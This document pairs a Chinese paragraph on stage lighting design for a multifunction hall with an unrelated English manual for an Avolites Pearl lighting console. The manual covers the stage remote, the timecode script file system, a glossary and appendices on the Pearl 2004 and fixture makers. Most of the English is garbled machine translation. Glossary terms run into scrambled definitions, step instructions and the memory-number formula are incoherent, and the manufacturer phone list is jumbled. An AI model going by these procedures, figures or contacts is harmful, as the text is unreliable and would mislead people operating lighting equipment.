　　多功能厅主席台(舞台)顶光是指舞台上方的灯光，顶光的安装方式可以采用固定安装或电动升降安装，二种方式在多功能厅均可采用。由于多功能厅主席台(舞台)顶部的标高与多功能厅大厅的标高基本一致，一般均在3m~5m之间，因此，顶光光源的选择十分重要。过去采用的热光源较多，虽然色温与显色指数符合摄像机摄录像的要求，但主席台(舞台)上的使用者感到灼热，空调系数再高也很难排除热量。因此我们在工程中把多功能厅主席台(舞台)灯光变成两个部分，一部分为会议照明系统，另一部分为演出灯光照明系统。会议照明采用三基色冷光源，此光源的色温均符合要求，照度为8001x以上，而且彻底解决了由于层高不够所发出的热量问题。演出灯光照明系统，我们采用冷、热光源兼用。当

　　会议用光时，热光源不开，当演出时，冷、热光源部打亮，同时可以调光，完全满足演出的需求。

　　以上是我们在设计多功能厅灯光方案时所遇到的一些实际问题与解决办法，我们的认识十分粗浅，请多提宝贵意见，以便使我们的工程设计更加完善。



>16. Remote control of the stage.

Remote control is in our hands, the stage connected to the console's small DMX controller, it can be remote controlled, the product number is 30-12-0001. .

Console and remote control consists of a 25-pin d-type connection cable, which can be plugged into any stage in the back of the remote control, it is very convenient, when inserted, and you can pull out.

Remote can control a DMX channel, a handle or a memory, you can follow step by step implementation. .

16. .1 constitutes stage remote control.

* PROGRAM keys to the place, if you have the PROGRAM, then go to RUN and then turned it back. .

* In the user settings menu, select the item 10 is set to REMOTE CONTROL. If not set, the remote control does not work correctly.

* As mentioned above the stage to connect remote control. .

* Press the remote control at the bottom of the left hand side of the white blank keys, it flashes of light.

* The remote control on the press EXIT, followed by 111. Remote control light flashing once again shows remote control has been able to work. .

Remote control only when keys to go to the location of the PROGRAM is working.

16. .2 Call a single DMX channel. .

* Press DIM. Its led is lit.

* Select the remote control on the DMX number. .

* Press the button AT%.

* Press from 1 to 9, one of the numbers, setting level position, or click the AT% button (100%). .

For example, the 24 DMX channels set to 70% of the press:.

DIM 24 AT% 7. .

The DMX channel 100 is set to 100% pressed:.

DIM 100 AT% AT%. .

To all four output DMX channels are accessible, they are numbered:.

Line A-DMX channels 1-512. .

Line B-DMX channel 513-1024.

Line C-DMX channels 1025-1536. .

Line 1537-2048 D-DMX channel.

16. .3 AND, THRU, INSTD, NEXT, and LAST. .

You can establish a channel of the table, the table through the channel number of the ADD button to open.

(Channel number) THRU (channel number) to select the two channels with all the channel numbers. .

NEXT and LAST is to the next and previous channel enters the last entered into. All other channels to zero.

When using the above functions, do not press the AT% button, except to change the previous position of the channel level. Access to the last set with the AT% button subject level position, or if not being used, they were set to 48%. .

This level of location is used to get one at the PAR lamps 110V careless with 220V voltage received damage risks to a minimum.

Press INSTD will clear all the channels. (All channels set to zero.). .

16. using the remote control to call the .4.

Memory calls always 100% position. .

* Press MEM on the remote control. Its led is lit.

* Enter playback channel number. .

The page number is multiplied by 1, and 15 (one-page recording channel number), plus scroll wheel page number 1 at 150, plus the memory of this page. Page number for A = 0, B = 1, and so on. Example: a memory page 1 G, recording putting 12, recorded as: ([7-1) * 15] (11) * 12-15. It's really difficult to explain the logic!.

* Press the% AT button to open the memory. .

16. .5 remote to invoke and the stepwise trace.

* Press the MEM button on the remote control. It's light goes on. .

* Enter recording channel number. See above.

* Press the% AT button. .

* Use the + and-to come forward and backward stepwise trace.

If you want to use all of the conventional lamps do a trace, according to the order of focus on them, you can use the remote control for a month. .

16. close the remote .6.

* Press EXIT 000. Off remote control, to prevent misuse. .

16. .7 detection status.

Press the bottom of the left button, will give the state the stage is Enabled (allowed) or Disabled (not allowed). .

If the led blinks once allowed.

If it flashes two instructions are not allowed. .

17. Scripts (SCRIPT) file system.

Script (SCRIPT) file system allows the time code on the console or from the internal clock has been changed to a good program automatic playback of a script file can be used "STEP" button to manually run. Script file is usually the key to SYSTEM in the position to be recorded and edited. .

Pearl console using MIDI time code for external control. See paras 24. MIDI time code .3.

Console's serial number PRL330 may need to change, please contact Adam Profitt, or to more details, please contact your distributor. .

17. the establishment of a screenplay .1 (SCRIPT) file.

The establishment of the script file as follows:. .

* Preparation of the required memory and tracking.

* The location of the keys to SYSTEM. Into the system model. .

* Press the soft key D (Softbutton D [SCRIPT FILE PROGRAMMING]). Enter the script file menu to automatically enter the script file screen. (Screen 8).

* Press the softkey A [Select Time Source] (Softbutton A [SELECT A TIMER SOURCE]). Time deciding which to choose the source, is time code (TIMECODE) or internal clock (INTERNAL CLOCK). .

* Or.

Press softkey A [external time source] (Softbutton A [EXTERNAL TIME SOURCE]). Clock set to zero and wait for the console to an external time code. .

* Or:.

Press softkey D (Softbutton D [INTERNAL TIMER / TC]). Internal clock starts running. .

Create a script file is easy, as long as they can to record how to complete them.

* After doing an erase, the script file will be defined as 1. If you want to change, by selecting the soft key B [Select script file] (Softbutton C [SELECT SCRIPT FILE]), and input from the keyboard from 1 to 99 of the original file number. .

* Press the soft key B [build script file] (Softbutton B [CREATE SCRIPT FILE]). It is recommended that you erase the existing script file, otherwise it will immediately enter the recording menu. Press the soft key is F [YES] to overwrite the original file.

* If you are running an external time code, now running, if the use of internal time it has been running. .

If you do not select those, A soft key by pressing the [select a time source] (A Softbutton [SELECT TIMER SOURCE]) and then press the soft key is F [on timer] (Softbutton F [START TIMER]). Press EXIT to exit the menu.

* Ensure that the GRAND MASTER (Master Control) is completely Tuishang Qu, otherwise the script file to record a step. .

* In the correct sequence and the right time to push pull-down recording and push to finish the program. The script file will record these mobile, recording and push and push it completely to the correct record back.

You can use any page or letters on the memory and tracking. .

* When you are finished, press the soft key is F (F [DONE] Softbutton).

Documented two types of script steps. .

The first type is when recording to push rod was pushed to be logging.

There are three records of this type of information:. .

Recording channels.

Time code value. .

Recording and playing push from the trigger point to move to full time position.

The second type is when the recorder is recorded when the putter is pulled down. .

This type of record have three messages:.

Playback channel. .

Time code value.

Playback fader to move from the position of the trigger point over the time spent. .

* Importantly, recording and putting the full location for time information correctly recorded, so you must identify all the memories and track the step level in an obvious location programming..

To do this step, you will be able to demonstrate the script file. .

17. Select a script file .2 to editing or recording.

From the script file programming menu to select a script file:. .

* Press the soft key C [select script file] (Softbutton C [SELECT SCRIPT FILE]).

* Entered from the keyboard to demonstrate the script file number, or use the arrow keys to move up and down the high-brightness you want to select the script file. .

* Press the ENTER key.

17. .3 Checking script file. .

You may want to use internal clock to check file, because he is then run an external clock. The asterisk is always used to indicate that you want to run to the next step, the current step is displayed in the clock here such as: "Live = XX".

Select internal clock:. .

* Press the soft key is A [select a time source] (A Softbutton [SELECT TIMER SOURCE]). Determine the time source for time code or an internal clock.

* Press the soft key D [internal clock] (Softbutton D [INTERNAL TIMER TC]). Internal clock starts running. .

Internal MIDI clock generation and code: hours, minutes, seconds and frames. This can be used to edit the ' offline '.

* If necessary, you can use the keyboard to prompt the new time line. .

Now you can check the script file.

* As, select the script file to check. See 17. .2 Select section to edit the script file, or playback. .

* Input output will the number of the step, if you are using the internal clock it will be the one step.

* Or:. .

Enter another step to execute.

Or:. .

Press the soft key E [connection] (Softbutton E [CONNECT TIMER]) to run time code in the following step.

17. .4 Edit a script file. .

In the script file to edit every step:.

Playback fader. .

Time code.

Playback fader fade time. .

Edit is used to assign the action and the allocation of time code menu, an arrow points to the current load is used to edit the step up or down arrow keys to move the arrow.

17. .4. .1 Distribution Actions menu. .

Each step has a time code.

The first letter is 'C', 'M' or 'R' refers to putting the current playback track (CHASE) and memory (MEMORY), or 'R' said Ramp Down, it is said, putting his playback to the zero position. (Ie: OFF). .

Keep track of or memory of the next number refers to the scroll wheel of page (1, 2 or 3), and then the next letter is a wheel of letters (A to j), and the last number is the handle of the number (1 through 15).

Ramp Down only handle the numbers. .

* In the script file menu press the soft key D [edit script file] (Softbutton D [EDIT SCRIPT FILE]). You can see the arrow means the script files a step.

* Use the arrow pointing up and down arrow keys to step to edit. .

* Press the soft key D [distribution] (Softbutton D [ASSIGN ACTION]).

* Or:. .

Press the soft key is A [LOAD] to simulate a special recording channel onto full location.

Press the soft key, then press the playback channel you want to use the SWOP button. .

Or:.

Press the soft key B (Softbutton B [RAMP DOWN]) to simulate a particular playback channel pulled zero. .

The location of the.

Press the soft key, then press the playback channel you want to use the SWOP button. .

Or:.

Press softkey D (Softbutton D [RAMP TIME]) that you want to step decay time, and then the keyboard. .

Enter in seconds, of decay time and press ENTER.

17. .4. .2 Assigned time code menu. .

Time code is HH/MM/SS. .FF represent hour, minute, seconds and frames.

Assigned a time code to a particular step:. .

* In the script file menu press the soft key D (Softbutton D [EDIT SCRIPT FILE]). Will see an arrow pointing to the script file in one step.

* Press the soft key E [allocation of time to code] (Softbutton E [ASSIGN TIMECODE]). .

* Use the arrow pointing up or down arrow keys to step that you want to edit.

* Or:. .

Directly enter this time code value.

Or:. .

Press the soft key is displayed in step D to enter the time code value. See 17. .4. allocate time code to .4 group step.

In. A on the pad will tell you all to change the way the code currently displayed time. .

17. .3 .4. defines a step in the group.

You can assign time code to the group step, all further distinguishes between the time that old code and the new time code between the different, but will not change their time-related code of Qubie. .

The establishment of a group are as follows:.

* In the File menu, press the soft key scenario D (Softbutton D [EDIT SCRIPT FILE]). Will see an arrow pointing to a script file in step. .

* Press the soft key E [assigned time code] (Softbutton E [ASSIGN TIMECODE]).

* Use the arrow pointing up and down arrow keys to step you want to edit. .

* Press the soft key is F (Softbutton F [TOGGLE GROUP]) select the step. Symbol is displayed in the next step.

* Continue to choose from a group, select the step is not as marked as above. .

This means that, if a script file in the 20-step, 12-step marked with ' > ', then there are two groups, group 1-12 13-20 and the group.

17. .4. .4 Code to the group allocation of time step. .

You can assign a time code to a different set of steps, or to the entire script file:.

Time code number is HH MM SS. . FF, hours, minutes, seconds and frames. .

* In the script file menu press the soft key D (Softbutton D [EDIT SCRIPT FILE]). Will see an arrow pointing to the script file in one step.

* Press the soft key E [allocation of time to code] (Softbutton E [ASSIGN TIMECODE]). .

* Press the soft key is A Softbutton (A [SELECT A TIMER SOURCE] to select the internal clock or an external time code, and stop and start the internal clock. Enter a value (see above) and press ENTER to put it into the internal clock..

* Or:. .

Press the soft key B (Softbutton B [ASSIGN TC FILE TO START]), assign the current time code prior to the start of the script file, you can use the time code to stop doing this and run with.

File all of the steps will use this value to differentiate, but do not change their respective differences. .

Or:.

Using the arrow keys to select the group in a step, press the soft key C (Softbutton C [ASSIGN TC TO GROUP]), the current time code value assigned to the group in the first step, you can use to stop and run to do this. .

Document all step will use this value to distinguish, without changing their own different places.

17. .5 Delete script files step. .

* In the script file menu press the soft key D (Softbutton D [EDIT SCRIPT FILE]). See the arrow points to a script file with one step.

* Use the arrow pointing up and down arrow keys to step you want to delete it. .

* Press the soft key is A (A Softbutton [DELETE STEP]).

* Press the soft key F (Softbutton F [YES]), confirm the deletion. .

17. insert script file step .6.

* In the File menu, press the soft key scenario D (Softbutton D [EDIT SCRIPT FILE]). See the arrow points to a script file with the step. .

* Use the arrow pointing up or down arrow keys you want to insert the next.

* Or: Press the soft key B (Softbutton B [INSERT BEFORE CURRENT STEP]) inserted into the step before. .

Or: press the soft key C (Softbutton C [INSERT AFTER CURRENT STEP]), then a new step is inserted, but does not have any action and time code.

* Actions menu with the allocation and distribution of the time code menu to fill the empty step. Details see 17. .4. .1 Actions menu and the distribution section 17. .4. .2 Allocation of time to code the menu section. .

17. no argument .7 plays.

When the open call, this feature allows automatic execution of a script file. Script file run only once, or continuous cycle operation. This is an exhibition of the same type is useful for performance. .

Access to the script file parameters.

* The location of the keys to SYSTEM, enter the system mode. .

* Press the soft key D (Softbutton D [SCRIPT FILE PROGRAMMING]). Enter the script file menu and automatically play file screen (screen 8).

* Press the soft key G [Script file parameters] (Softbutton G [SCRIPT FILE PARAMETERS]). Into execution mode, and automatically enter the screen 12, SCRIPT FILE PARAMS (script file parameters). .

17. out of .7. .1 under implemented a script file automatically.

* In the keyboard input to the script file number automatically, or use the up and down arrow keys to move the script file. .

* Press the soft key is A (Softbutton [TOGGLE AUTORUN]). Tip lines are ENABLED to run automatically appear the words and in tandem with AUTO play, AUTO is ON top.

17. .7. .2 Script file to set a loop. .

This can only be run in the internal time, every time the clock was reset when the script starts running the file.

* In the keyboard input to loop to run the script file number, or use the up and down arrow keys to move the script file. .

* Press the soft key B (Softbutton B [TOGGLE LOOP MODE]). Screen back in the ' from the last step to stop ' and ' continue ' in between words, LOOP tandem jumping show script file ' ENDS ' or ' CONT ' (inuously).

17. .8 Interpretation of the other script files. .

17. .8. .1 reset timer.

This is only to be used, as is using the internal timer, the timer from the selection menu reset the timer to the last input time. .

17. .8. .2 reset master.

Putting in time for playback under the control of the code. .

When pressed the stage does not glow! attention!!.

17. .9 Called script files. .

* Keys to go to the location of the RUN.

* Press the soft key D (Softbutton D [RUN SCRIPT FILE]), run the script file. .

17. .9. .1 in run mode, select the source time code.

* Press the soft key D (Softbutton D [SCRIPT FILE FUNCTIONS]). .

* Press the soft key is A [select a time source] (A Softbutton [SELECT A TIMER SOURCE]). Determine the time source for time code or an internal clock.

* Press the soft key or A [external time] (Softbutton A [EXTERNAL TIME SOURCE]). Clock set to zero, the console waiting for input to an external time. .

Or press the soft key D (Softbutton D [INTERNAL TIMER TC]). Internal clock starts running.

This menu you can stop and start the internal clock. .

17. Select the .9. .2 to run the script file.

* Press the soft key D (Softbutton D [SCRIPT FILE FUNCTIONS]). .

* Press the soft key C [select one script file] (Softbutton C [SELECT SCRIPT FILE]).

* In the keyboard input to demonstrate the script file number. .

* Press ENTER.

This is just load the selected script file without performing any step. .

17. run script .9. .3.

Select the script file, starting from the first step in the implementation of the following:. .

* Press the soft key D (Softbutton D [SCRIPT FILE FUNCTIONS]).

* Press the soft key D [a start] (Softbutton D [START FROM STEP 1]), then press the soft key D [YES] to confirm. .

The original file will load but implemented. The timer will stop and at the same time, you can:.

* Or:. .

Press the soft key E [connection timer] (Softbutton E [CONNECT TIMER]), starts to run-time code of the script file. Soft keys now becomes [DISCONNECT TIMER] (without connection timer) and the [NEXT STEP] (next step).

Or:. .

Press the soft key is F (Softbutton F [NEXT STEP]), to use a manual step by step execution.

If you want to start any step without the first step:. .

* In the keyboard input is not a number and press the ENTER key.

Step is immediately output. You can connect the timer or manually. .

17. .9. .4 in run mode to pause the script file.

If you edit any script files, in the run mode, press the soft key C can pause and switch between running the script file. .

17. .9. .5 exit run script file.

Out of the script file to run:. .

* Press the soft key E [not connection timer] (Softbutton E [DISCONNECT TIMER]). Soft keys now becomes [CONNECT TIMER] and [NEXT STEP].

* Press the software key G [script file playback] (Softbutton G [CLEAR SCRIPT FILE PLAYBACKS]) or press the softkey H [Reset master] (Softbutton H [RESET MASTERS]), the release of any playback putting in constraints script file system. .

When pressed tips off the stage! attention!!.

* Press the EXIT button. Back to the Run menu. .

17. .9. .6 in the same time, run the script file and at the same time manually using recording pusher.

You can not exit the script file without having to connect timer. Script file will continue to run, but at the same time, putting the console playback position should be filled. .

* Press the EXIT key. Back to run mode.

17. .10 Time code detection. .

This feature is when you hear a noise or MIDI time code fails. The SETTINGS in the USER MENU of item 8 set to TC CHECK ENABLED. Console tries to enter a time code, and find where, it replaces the internal clock of parallel code.

17. .11 Help and tips. .

Issue: when you push to the top doesn't complete records.

Answer: master fader is not in the full position. .

Problem: the time is displayed incorrectly.

Answer: You have a memory decay time and the time of the script file. The memory decay time to zero, or the script file time to zero. .

Question: when your script file, some step missing.

Solution: Check each step of the time or the big time with the same step before. .

Problem: script file playback speed or irregular, is very high.

Answer: MIDI Time Code can not be compensated through the console, point to check whether the script file to the internal clock program to run correctly. If it is running correctly, your time code source may be broken. .

18. Glossary of terms.

The availability of 4D TRACKThe unique Avolites moving light Tracking system uses the chart of brands. .

In the chart of ABSOLUTEMode and brand position, where the output of fixtures with direct brand of the position of the stylus. See NUDGE.

ADDAn ADD button to be linked with pre-or Playback channel. When pressed, it increases the channel to be output. ADD to run the way work can be very complicated. See Appendix 5. In the operation mode of the ADD button functions. .

ADDRESSESThe DMX channel occupying a separate fixtures. Occupied by the first channel is usually digital switches in a certain way (often coded in fixtures), and referred to its ADDRESS.

To other selected from the first copy of property characteristics fixtures means of choice ALIGNA fixtures. .

A computer lamps ATTRIBUTEOne channel.

The ATTRIBUTE BANKA button control sets due to handle and connect. .

In the console of the most basic principles of operation AVOSThe. AVOS allows the system to load the software.

Exhibition BACKUPSCopies to secure storage to disk. .

BPMBeats per minute.

Record one or more sequences in serious use CHASEA CHASE button programming. If required, it can automatically be replayed. Sometimes known as SEQUENCE, STACK insertion or connection. .

Chase CHASE STEPSIndividual component steps. Higher than the above see.

Used by the list of different color gels to change the color of light sources COLOUR CHANGERA mechanical fixtures, generally scrolling or moving the special filters to the light beam into. .

Three filters for each COLOUR MIXA system colors from white to crossfade, or another of a color. It is characteristic of some computer lamps, which can create tens of thousands of different.

A separate step COMPLEX STEPA chase step time programming it, and therefore will not use the global era. See SIMPLE STEP, GLOBAL CHASE TIMES, INDIVIDUAL STEP TIMES. .

CONNECTED CHASE 。.

Chase, placed under the control of the wheel, while others chase function button pressing CONNECT. .

Memory and Chase COPYA system using replication, this kind of Pearl, Pearl, common connection all copies. Copies of any one change causes the same change as they all. See PHOTOCOPY.

CROSSFADEOr XFADE. From one state to another in a kind of smooth (smooth) transition. Can be stained or soiled. In the Avolites console above, putting all the stick to pull down run chase. .

DEVICESee FIXTURE 。 Not a drop of crossfade's value in two DIPLESSThe crossfading level (horizontal) higher.

DMXDMX512 (1990) for the control console and the fixtures of communication between the specifications of the original land Dimmers most computers it is accepted as the control light draft. It can carry 512 different data channels. .

DMX TRANSMISSION RATE 。.

DMX data rate in the fixed installation from the console to the broadcast. .

FADEA clear to another of the transition from one State.

FADING CHANNELAn LTP channels, CROSSFADES. See INSTANT CHANNELS. .

Use of personality is lit by FIXTUREAny PATCH. Generally involves moving lighting or color changes, is not a separate more fuzzy channel. Also known as PC lighting, appliances, instruments, moving lights.

To move the fixtures on the first use of FLIPA function. They have two possible in the level, and stage (stage) for each so that the Location vertical points, Yi Ji FLIP, will between them take turns Jin Xing. .

When the property is to store or recall of FOCUS or remember MASKDetermines save PRESET FOCUS. Will be remembered by the attributes in the attribute indicates that the LED is returned. These can be placed or clear pressing the appropriate property returns the selected button.

GENERICTerm in the past that a more obscure channel. See also FIXTURE. GLOBAL CHASE TIMES. .

Push pull down and wait for the time they apply to any Chase steps that do not have a separate steps of writing a program it era. These steps are called SIMPLE STEPS. See INDIVIDUAL STEP TIMES, COMPLEX, SIMPLE STEP STEP.

GRAPHICS TABLETOptional pearl input devices, such pearls of electronic means of making a slate on the stylus or Puck issued tick control Dimmers and fixtures. .

GROUPA GROUP is capable of a single button press Select fixtures of a specified collection.

Including two of HANDLEThe line pre-Faders, ADD button and SWOP buttons to control all the computer lights or pull down a single pre-fader, control of a more obscure channel. .

HTPHighest superior mechanism decision taken by the channel output level (level) of more than one Playback channel. At any given time the value of the maximum output of channel always will determine the channel level (level). Also see LTP.

Conversion memory means or the contents of the INCLUDEA chase to the programmer to step into. INDIVIDUAL STEP TIMES. .

An individual may write procedures era from the TIMES menu Chase steps. These steps are called COMPLEX STEPS. See GLOBAL CHASE TIMES, SIMPLE, COMPLEX STEP STEP.

INSTANT CHANNEL. .

Do not use channel push pull down the results to the console, and the other from one State to move discrete jumps. See FADING CHANNEL.

Does not require the right property in the control of the brand attributes of the chart on the INSTANT ACCESSA function will be chosen to return. .

INSTRUMENTSee FIXTURE 。.

INTELLIGENT FIXTURE. .

See the FIXTURE.

Enable them to run automatically from a previous step to another chase between LINKSConnections. .

By using the horizontal drop they found your selection of fixtures, making it easy to LOCATE features of the console open white FIXTUREA and vertical at 50%.

LTPLatest to take superior, through the channel from one Playback control mechanism to pull down on the last putt on the basis of another mobile Playback pull down a fader control, as long as the Playback fader to pull down has moved through the trigger point. (See TRIGGER POINT). It follows that LTP channel always from one state to another method of putting the stick to pull down. (See DIPLESS). .

Also see HTP.

MACROSMacros allow programming from the factory to the functions of a computer to send light through the DMX command sequence from the console implementation. They can allow you to re-arrange fixtures for example. DMX command sequences are defined within the individual files. .

ADD master MASTER FADERThese is in the possession of the Grand Master, master, SWOP, preset B, as well as Playback master.

Playback on programming MEMORYA in a single-stage (stage) use of memory to see putting pull down button. It does not wait for the times. Also known as CUE, STATE, LOOK. .

MEMORY playback format MODEA program memory. There are 0, 1 memory.

Musical instrument digital interface MIDIStands. It is so in the digital music device (such as the keyboard) can exchange data between the established hardware and software specifications, and other devices such as computers, sequencers, and sound and lighting console. .

Moving ML MENUStands light menu.

The NUDGEMode and brand position on the chart, in which the stylus with the brand relationship between the movement of fixtures changes in output. See also ABSOLUTE. .

OFFAny channel can in any given Playback channel is ON or OFF. When its Playback channels are remembered, (0000) is OFF of the channel in Playback channel is recorded, but in no way will not change. See ON.

ONAny channel can be ON or OFF. ON channel is active in Playback channel. It is under the control of Playback and follow the rules for HTP, LTP and LTPF channel. .

When it's DMX address in a more slowly during the PATCH was another instrument by instrument, PARKThis occurred. Instrument must then be repatched.

PERSONALITY FILE. .

What are the properties of the description of a special kind of intelligent fixtures, PATCH, how to console, and take advantage of these. It also determines which one to return the control to which an attribute. Avolites personality files in ASCII format and can be edited in any of the personal computer, the ability to read and save in MS DOS 1. .44 Mb (high density) .5-inch disc 3...

PERSONALITY DISK. .

In the disk on the character files are stored.

Copy memory PHOTOCOPYA methods, and chase each other completely independent of that point. See COPY. .

Longer game console PLAYBACKArea records memory or Chase. It contains the Playback channel recall of Playback Faders and Playback button ADD and SWOP.

.

In order to describe the reference to the use of PRESET FOCUSA term for the property - predefined condition, can be remembered, as long as was required during the preparation process. Each preset can be the focus of fixtures differ in the same time level (level) can be edited. This is how it is different from the TABLE. In the Avolites console above each preset can name a single button press, and remember the focus. .

Where is the function of the way to write a program, but PROGRAMDesk system software are protected. See RUN as SYSTEM.

Contains the channel before recording the information as part of the console PROGRAMMERThe. .

REDUCTION FADER 。.

Will be restricted to a more obscure channel output can be defined by the characteristics of one kind of value. .

RUNDesk way, where all the Playback features to function, but all the programming features incapacity.

Information page SCREENOne displayed when the LCD display. .

SCRIPT FILE SYSTEM 。.

Playback allows the system automation and control by the Timecode. .

In the manual under the control of the SELECTEDA fixtures.

SEQUENCESee CHASE. .

SHAPE to be used in attributes available for use by the preprogrammed effects. It can then be customised and stored in memory.

SHARED PRESET FOCUS. .

Preset focus, where information is just a kind of fixtures are stored, but for all that kind of fixtures available for use.

There is no separate step of SIMPLE STEPA chase step time programming it, which will use the global pursuit of the times. See COMPLEX STEP, GLOBAL CHASE TIMES, INDIVIDUAL STEP TIMES. .

By mark on the screen to define the different features of SOFTBUTTONSButtons. In the manual of this always in bold in the Softbuttons, used in screen [in the brackets] the legend (legend).

STACKSee CHASE. .

STAGE REMOTEOptional input devices and memory of DMX channel and recall of Pearl allows you to control and follow the steps.

SWOPA SWOP button can be linked with the Playback or preset channel. It solo on the output of the channel, when you press the preset, press, death or Playback of all the other output. .

Pearl software allows entry of SYSTEMDesk.

SYSTEM SOFTWARE. .

Run the Pearl of the software.

- Defined level (level) of TABLEList allow channel name to remember. Each of fixtures using the same value, while the table is not editable. This is where it differs from PRESET FOCUS. .

The TCAbbreviation Timecode. In Pearl, this is always the MIDI Timecode. In which ways can move luminaire TRACKINGA moves all around the region refers to the same site.

TRAININGThe recording process stage (stage) of the console so it can move the lamp to develop TRACKING. .

TRIGGER POINTThe level (horizontal) placed in the user Settings, this decision point LTP channel program Playback in it on the Board machine push pull down.

Chase steps to allow for easy editing was placed in the Playback Faders on UNFOLDA function. .

USER definable SETTINGSUser console settings. In the USER SETTINGS are found in the MENU.

Allows different sets of data is displayed on the screen of VIEWA function. .

WAITA time in push pull down in the Chase, before the occurrence, the passage of time.

Clear all WIPEALLA from the console before the process of writing programs, but do not touch the system software. .

WHEEL AThis is left hand wheels. It is used to control each of the above Properties property to return. WHEEL BThis is correct hand wheels. It is used to control each of the Properties property returns the low.

19. . Appendix 1. No. 2004 Pearl. .

Included in the 2004 Pearl pearls of hardware and software configuration changes. On the VGA monitor using now complete and adequate use of Pearl 2004 software, although you can use the following as the most features in the LCD screen prompts. Drivers are required to monitor and video card will not be suitable. No. 2004-a new Pearl pearls of 2004 a front panel Rolacue on 2004 ' emblazoned. In order to ascertain the status of the old Pearl, please contact your provider. Run pearls, may still be a non-board improvement of the software in 2004. .

Hardware that runs on the Board of 2 DMX output is necessary.

Was restricted to sell a low-cost improvement Avolites equipment sets, which for the button, including the best new key, it had to change their functions. Access to the details of your nearest provider. .

Here you will be the first 2004 Pearl for more details, use the index to discover the body of the manual.

* Software Version I. . D. Now on the Softbutton B, when you put the key when the SYSTEM. .

* More DMX channels. 4 DMX output patchable a new article 2004 Pearl can control 2048 DMX channels. In 2 DMX output a patchable more early plate 1048 channels cannot be run.

* You can run as many as 120 kinds of lamps and more obscure computer 120 presets, or more ambiguous than 240 presets just above Pearl in 2004, as long as you have enough available DMX channels. Each preset can be more vague or more DMX is a more obscure passages of the PATCH. The more ambiguous a DMX channel can only is a more ambiguous one PATCH preset. .

* New shape generator allows you to take advantage of the preprogrammed effects build memories. This includes as colored mix convenience fixtures Center movement and rainbow color chase the same thing (things).

* There are four pages available in fixed installations, in 12 white button on top of using the four wheels of the left button selection and aggregation. .

At that time, your PATCH PC lighting PATCH them every four pages of the ADD button on the grey-box. When (due to) 30 presets ADD button, and four pages for fixed installations, we can now is the first PATCH for up to 120 120 kinds of computer fittings.

You can also any more vague blue on the number of DMX channels to SWOP button preset in each of these pages above PATCH. In this way, you can also more obscure section 120 PATCH preset. .

If you have any available you do not use for computer lamps ADD gray preset button, you can PATCH more vague on DMX channels.

* Preset Faders control the intensity only. Using the above principles fixtures page, you can access all PATCH fixtures and Dimmers strength. At any time you can exchange page. When the page changes, the intensity level (level) be maintained. You have to and level (horizontal) and the channel matching the intensity of existing in before you can control it, when you change the page. .

* And preset Faders property returns a link between completely destroyed. Regardless of whether your property returns, you always will have the strength of the preset Faders. Therefore, you must be in unused property on the peculiar more fuzzy PATCH channel returns. Wheel control all LTP.

* All fixtures and Dimmers wheel control of intensity, no matter where they are PATCH is. .

* There is now 120 preset focus.

Typically, 130 gray Preset ADD button through life. .

160 as the chart's brand accessible.

1120 in the pre-focus by the number of accessible type. .

* There is now 120 Group (Group).

* Fixed device every available property returns on the 20 up to 40 properties. (Property returns labeled 110). Property returns has become a visit to the second page of the transformation properties of the key return. In this time, with no fixtures in any second page of the property, but it can not be far away! 12 property returns is still less return. .

* More fuzzy channel separated the fact that property return means that the weakened from channel has simplified and no longer need a PATCH. 12 property returns a temporary all preset Faders to weaken in the way.

* Share preset focus. This allows you to select which preset the focus of a fixed installation and use of programming that they then automatically receive copies of all of the same type of other fixtures. Before the exhibition, so you can use a fixed device for the pre-focus before the show's entire string of programming, or save yourself time to load, if you add additional fixtures to an existing assembly. .

In the console, this will also save a lot of memory space. Preset focus that point when you have this type, you can choose to mount your PATCH fixtures.

* Keypad number in the gray button on the top line of the new button (from left to right):. .

CHANNEL 。 This allows you to access by entering the quantity and the control of fixtures. Fixtures for the type that originated in (eg. First, section 2Cyberlight 12Intellabeam) regardless of the number of handles for what it is for the PATCH. You can get from a selected group of fixtures for easy selection of ODD and EVEN fixtures.

FOCUS. Allow access to all presets, including those not assigned the focus of a gray ADD button (pre-31 focus 31 120). .

INCLUDE 。 Including the characteristics of the movement, and improved functionality. See below.

SCREEN. Allows navigation through the screen. Old VIEW CURSORS, which allow forward and backward navigation through the screen, was to go. .

* Now INCLUDE feature allows you to partially remembered memory or Chase steps. You can select, attributed, and fixtures you want to remember to enter the information. Steps can be INCLUDED from the UNFOLDED Chase. The shape of the memory will be automatically INCLUDED.

* Orientation to the number 3 right keypad button above the new AVO is to allow you to choose Dimmers PATCH Faders on top of pre-selected using the blue key preset change SWOP button. .

* Edit button new Chase is located in the Centre of the sequence control zone lines, chasing the right of a STOP button. They are from left to right, LIVE LIVE TIME STEP, NEXT TIME and SNAP BACK button. They allow Chase steps editing and follow the steps in the era. Chasing the EDIT button is removed.

* EDIT button is now the old chase REVIEW button, allowing you to check your pursuit of editing. .

* FAN mode. This change two wheels for Group fixtures control properties, so that the effect of moving the wheel in the Group (Group) of extreme has a greater impact; at the same time, the movement direction in the Group (Group), the creation of this center of flip from the Group (Group) outwards to the center of the fan. This can be applied to any property, not just the level and vertical.

FAN button to replace the old RESTORE CHASE OUTPUT button. .

* RECORD ALL CHANNELS recording is stopped.

* Now the focus is only camouflage Settings menu in the user side only change. .

* Certain disk feature is improved, and now you are advised to bring your exhibition stored in MS DOS format 1. .44Mb up above. Currently, the console will not be able to format these, but in future versions of this software. A large exhibition can be stored across several disks. All savings is now time, while at the same time you can, to enter the exhibition name to determine the disk.

* When the console to be strengthened, the original file is now automatically be able to automatically execute the original file. The original document to be placed in order into the ring, if it is running from the internal clock. .

* PATCH menu new PATCH utility has new features, including FIND FIXTURE, which help you to locate what you don't know the DMX address of fixtures.

20. . Appendix 2. Pearl graphics. .

21. Third appendices. Brands of graphic chart.

22. . Appendix 4. Portable computer lamp factory [RS1] Moving Mfr. Contact phone number number of countries, contact the British Abstracts. .

44 (0) 116 278 8078 British David Morrell Andromeda lit 44 (0) 160 868 3673 (fax) 3417 Amptown Rolf Garnes in Germany.

49 40 64 (fax) 0445 Italy, the United Kingdom Clay Paky Pulsar. .

At the grave.

393565431144 (0) 122366798 Italy United Kingdom Coemar Coe-tech [RS2] Fausto Kevin culture, Mr.. .

39 336 376 779 44 (0) 1604 Lightmasters 785 878 British Fal.

44 (0) 1480407727 U.S. high-end systems Lightfactor. .

Mick Hannaford 1512 836 2242 44 (0) 181 Lampoo Batmink UK 575 5566.

44 (0) 1458833186 United Kingdom. .

MMMichael Goldberg Nigel Sadler (sales) 44 (0) 171 284 2504 only Denmark England-professional-United Kingdom.

Ian Kirbie. .

